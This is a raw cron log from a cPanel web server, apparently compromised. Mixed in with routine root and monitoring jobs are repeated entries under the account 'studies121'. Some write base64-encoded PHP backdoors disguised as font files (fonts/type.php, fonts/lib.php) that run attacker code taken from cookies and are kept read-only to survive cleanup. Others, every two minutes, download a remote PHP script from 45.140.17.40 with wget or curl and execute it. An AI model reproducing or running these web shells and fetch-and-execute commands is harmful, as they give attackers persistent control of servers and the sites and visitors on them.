Sep 11 06:45:01 ip-184-168-122-23 CROND[19272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:45:01 ip-184-168-122-23 CROND[19275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:45:01 ip-184-168-122-23 CROND[19273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:45:01 ip-184-168-122-23 CROND[19277]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:46:02 ip-184-168-122-23 CROND[19419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:46:02 ip-184-168-122-23 CROND[19421]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:46:02 ip-184-168-122-23 CROND[19426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:46:02 ip-184-168-122-23 CROND[19424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:46:02 ip-184-168-122-23 CROND[19423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:46:02 ip-184-168-122-23 CROND[19425]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 06:46:02 ip-184-168-122-23 CROND[19427]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 06:47:01 ip-184-168-122-23 CROND[19641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:47:01 ip-184-168-122-23 CROND[19643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:47:01 ip-184-168-122-23 CROND[19644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:47:01 ip-184-168-122-23 CROND[19645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:48:01 ip-184-168-122-23 CROND[19749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:48:01 ip-184-168-122-23 CROND[19754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:48:01 ip-184-168-122-23 CROND[19751]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:48:01 ip-184-168-122-23 CROND[19753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:48:01 ip-184-168-122-23 CROND[19752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:49:01 ip-184-168-122-23 CROND[19869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:49:01 ip-184-168-122-23 CROND[19871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:49:01 ip-184-168-122-23 CROND[19872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:49:01 ip-184-168-122-23 CROND[19873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:50:01 ip-184-168-122-23 CROND[19997]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 06:50:01 ip-184-168-122-23 CROND[19999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:50:01 ip-184-168-122-23 CROND[20003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:50:01 ip-184-168-122-23 CROND[20004]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 06:50:01 ip-184-168-122-23 CROND[20006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:50:01 ip-184-168-122-23 CROND[20011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:50:01 ip-184-168-122-23 CROND[20008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:50:01 ip-184-168-122-23 CROND[20009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:50:01 ip-184-168-122-23 CROND[20015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:51:01 ip-184-168-122-23 CROND[20136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:51:01 ip-184-168-122-23 CROND[20137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:51:01 ip-184-168-122-23 CROND[20138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:51:01 ip-184-168-122-23 CROND[20139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:52:01 ip-184-168-122-23 CROND[20243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:52:01 ip-184-168-122-23 CROND[20246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:52:01 ip-184-168-122-23 CROND[20248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:52:01 ip-184-168-122-23 CROND[20247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:52:01 ip-184-168-122-23 CROND[20245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:53:01 ip-184-168-122-23 CROND[20437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:53:01 ip-184-168-122-23 CROND[20439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:53:01 ip-184-168-122-23 CROND[20440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:53:01 ip-184-168-122-23 CROND[20442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:54:01 ip-184-168-122-23 CROND[20574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:54:01 ip-184-168-122-23 CROND[20577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:54:01 ip-184-168-122-23 CROND[20576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:54:01 ip-184-168-122-23 CROND[20579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:54:01 ip-184-168-122-23 CROND[20578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:55:01 ip-184-168-122-23 CROND[20678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:55:01 ip-184-168-122-23 CROND[20679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:55:01 ip-184-168-122-23 CROND[20682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:55:01 ip-184-168-122-23 CROND[20680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:55:01 ip-184-168-122-23 CROND[20683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:55:01 ip-184-168-122-23 CROND[20684]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:56:01 ip-184-168-122-23 CROND[20817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:56:01 ip-184-168-122-23 CROND[20820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:56:01 ip-184-168-122-23 CROND[20818]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:56:01 ip-184-168-122-23 CROND[20819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:56:01 ip-184-168-122-23 CROND[20821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:57:01 ip-184-168-122-23 CROND[20971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:57:01 ip-184-168-122-23 CROND[20969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
